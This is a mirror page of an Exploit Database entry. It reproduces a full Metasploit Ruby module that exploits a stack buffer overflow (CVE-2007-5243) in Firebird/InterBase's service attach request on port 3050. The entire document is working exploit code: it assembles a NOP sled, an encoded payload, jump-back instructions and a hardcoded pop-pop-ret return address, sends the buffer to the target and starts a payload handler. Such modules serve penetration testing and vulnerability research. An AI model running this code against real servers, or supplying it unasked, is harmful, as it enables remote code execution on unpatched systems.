Firebird Relational Database – ‘SVC_attach()’ Remote Buffer Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-07-03
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16420/

• ##
  # $Id: fb_svc_attach.rb 9669 2010-07-03 03:13:45Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::BruteTargets
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name'		=> 'Firebird Relational Database SVC_attach() Buffer Overflow',
  			'Description'	=> %q{
  				This module exploits a stack buffer overflow in Borland InterBase
  				by sending a specially crafted service attach request.
  			},
  			'Version'	=> '$Revision: 9669 $',
  			'Author'	=>
  				[
  					'ramon',
  					'Adriano Lima <adriano@risesecurity.org>',
  				],
  			'Arch'		=> ARCH_X86,
  			'Platform'	=> 'win',
  			'References'	=>
  				[
  					[ 'CVE', '2007-5243' ],
  					[ 'OSVDB', '38605' ],
  					[ 'BID', '25917' ],
  					[ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
  				],
  			'Privileged'	=> true,
  			'License'	=> MSF_LICENSE,
  			'Payload'	=>
  				{
  					'Space' => 256,
  					'BadChars' => "\x00\x2f\x3a\x40\x5c",
  					'StackAdjustment' => -3500,
  				},
  			'Targets'	=>
  				[
  					[ 'Brute Force', { } ],
  					# 0x0040230b pop ebp; pop ebx; ret
  					[
  						'Firebird WI-V1.5.3.4870 WI-V1.5.4.4910',
  						{ 'Length' => [ 308 ], 'Ret' => 0x0040230b }
  					],
  					# Debug
  					[
  						'Debug',
  						{ 'Length' => [ 308 ], 'Ret' => 0xaabbccdd }
  					],
  				],
  			'DefaultTarget'	=> 1,
  			'DisclosureDate'=> 'Oct 03 2007'
  		))
  
  		register_options(
  			[
  				Opt::RPORT(3050)
  			], self.class)
  	end
  
  	def exploit_target(target)
  
  		target['Length'].each do |length|
  
  			connect
  
  			# Attach database
  			op_attach = 19
  
  			# Create database
  			op_create = 20
  
  			# Service attach
  			op_service_attach = 82
  
  			remainder = length.remainder(4)
  			padding = 0
  
  			if remainder > 0
  				padding = (4 - remainder)
  			end
  
  			buf = ''
  
  			# Operation/packet type
  			buf << [op_service_attach].pack('N')
  
  			# Id
  			buf << [0].pack('N')
  
  			# Length
  			buf << [length].pack('N')
  
  			# Nop block
  			buf << make_nops(length - payload.encoded.length - 13)
  
  			# Payload
  			buf << payload.encoded
  
  			# Jump back into the nop block
  			buf << "\xe9" + [-260].pack('V')
  
  			# Jump back
  			buf << "\xeb" + [-7].pack('c')
  
  			# Random alpha data
  			buf << rand_text_alpha(2)
  
  			# Target
  			buf << [target.ret].pack('V')
  
  			# Padding
  			buf << "\x00" * padding
  
  			# Database parameter block
  
  			# Length
  			buf << [1024].pack('N')
  
  			# Random alpha data
  			buf << rand_text_alpha(1024)
  
  			sock.put(buf)
  
  			#select(nil,nil,nil,4)
  
  			handler
  
  		end
  
  	end
  
  end